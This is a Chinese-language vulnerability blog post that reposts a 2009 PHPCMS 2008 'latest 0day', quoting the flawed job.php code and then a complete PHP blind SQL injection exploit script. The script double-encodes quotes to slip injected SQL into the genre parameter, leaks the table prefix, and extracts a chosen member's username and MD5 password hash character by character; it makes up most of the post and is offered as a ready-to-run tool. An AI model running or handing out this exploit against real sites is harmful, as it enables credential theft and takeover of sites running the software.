phpcms2008 最新0day & Exp(转)

2009, December 19, 3:36 PM. 漏洞集研
Submitted by admin

漏洞存在于yp/job.php的17-34行,urldecode函数惹的祸,代码如下:

==========================================================
switch($action)
{
case 'list':
$catid = intval($catid);
$head['keywords'] .= '职位列表';
$head['title'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$head['description'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$templateid = 'job_list';
if($inputtime)
$time = time() - 3600*$inputtime*24;
else $time = 0;
if($time < 0 )$time = 0;
$where = "j.updatetime >= '{$time}' ";
$genre = urldecode($genre);
if($station)$where .= "AND j.station = '{$station}' ";
if($genre)$where .= "AND c.genre = '{$genre}' ";
if(!trim($where))$where = '1';
break;

=================================================================

exp:

<?

if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$userid = $argv [3];
$prefix="phpcms_";
//$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$pos = 1;
$chr = 0;


function usage ()
{
global $argv;
echo
"\n[+] PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit".
"\n[+] Author: My5t3ry".
"\n[+] Site  : http://hi.baidu.com/netstart".
"\n[+] Usage : php ".$argv[0]." <hostname> <path> <userid>".
"\n[+] Ex.   : php ".$argv[0]." localhost /yp 1".
"\n\n";
exit ();
}

function request ($hostname, $path, $query)
{
$fp = fsockopen ($hostname, 80);

$request = "GET {$path}/job.php?action=list&inputtime=0&station=4&genre={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";

fputs ($fp, $request);

while (!feof ($fp))
$reply .= fgets ($fp, 1024);

fclose ($fp);
return $reply;
}

function exploit ($hostname, $path, $uid, $fld, $chr, $pos)
{
global $prefix;

$chr = ord ($chr);

$query = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM ".$prefix."member WHERE userid = '{$uid}'),{$pos},1))={$chr} OR '1' = '2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);

if (strlen (trim ($x [1])) == 0)
return false;
else
return true;
}

$query = "x%2527";

$outcode = request ($hostname, $path, $query);

preg_match('/FROM `(.+)yp_job/ie',$outcode,$match);

$prefix=$match[1];

//function lengthcolumns ()
//{
echo "\n--------------------------------------------------------------------------------\n";
echo " PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit\n";
echo " By My5t3ry (http://hi.baidu.com/netstart)\n";
echo "\n--------------------------------------------------------------------------------\n";
echo "[~]trying to get pre...\n";

if ($match[1]) {

echo '[+]Good Job!Wo Got The pre -> '.$match[1]."\n";
}

else {
die(" Exploit failed...");
}

echo "[~]trying to get username length...\n";
$exit=0;
$length=0;
$i=0;
while ($exit==0)
{
$query = "x' OR length((select username from ".$prefix."member Where userid='{$userid}'))=".$i." OR '1'='2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

$i++;

preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);
//echo $outcode;
if ($i>20) {die(" Exploit failed...");}  

if (strlen (trim ($x [1])) != 0) {
$exit=1;
}else{
$exit=0;
}
}

$length=$i-1;
echo "[+]length -> ".$length;

//    return $length;
//}

echo "\n[~]Trying to Crack...";
echo "\n[+]username -> ";

while ($pos <= $length)
{
$key = "abcdefghijklmnopqrstuvwxyz0123456789";

if (exploit ($hostname, $path, $userid, "username", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

$pos = 9;

echo "\n[+]password(md5) -> ";

while ($pos <= 24)
{
$key = "abcdef0123456789";
if (exploit ($hostname, $path, $userid, "password", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

echo "\n[+]Done!";
echo "\n\n--------------------------------------------------------------------------------";

?>

Tags: phpcms

« 上一篇 | 下一篇 »

只显示10条记录相关文章
phpcms V9 BLind SQL Injection Vulnerability (浏览: 14820, 评论: 0)
Phpcms 2008 flash_upload.php文件注入漏洞 (浏览: 15786, 评论: 0)
Phpcms 2008 query.php SQL注入漏洞 (浏览: 9074, 评论: 0)
Phpcms 2008 space.api.php SQL注入漏洞 (浏览: 7741, 评论: 0)
很老的一个PHPCMS2008 SP2 0day (浏览: 9851, 评论: 0)
Phpcms2008本地文件包含漏洞及利用:任意SQL语句执行 (浏览: 10696, 评论: 0)
phpcms 0day一枚 (浏览: 13769, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 8357, 评论: 0)
phpcms2008sp4 最新sql注入 (浏览: 9627, 评论: 0)
phpcms2008sp4 IIS下下载任意文件漏洞 (浏览: 10942, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):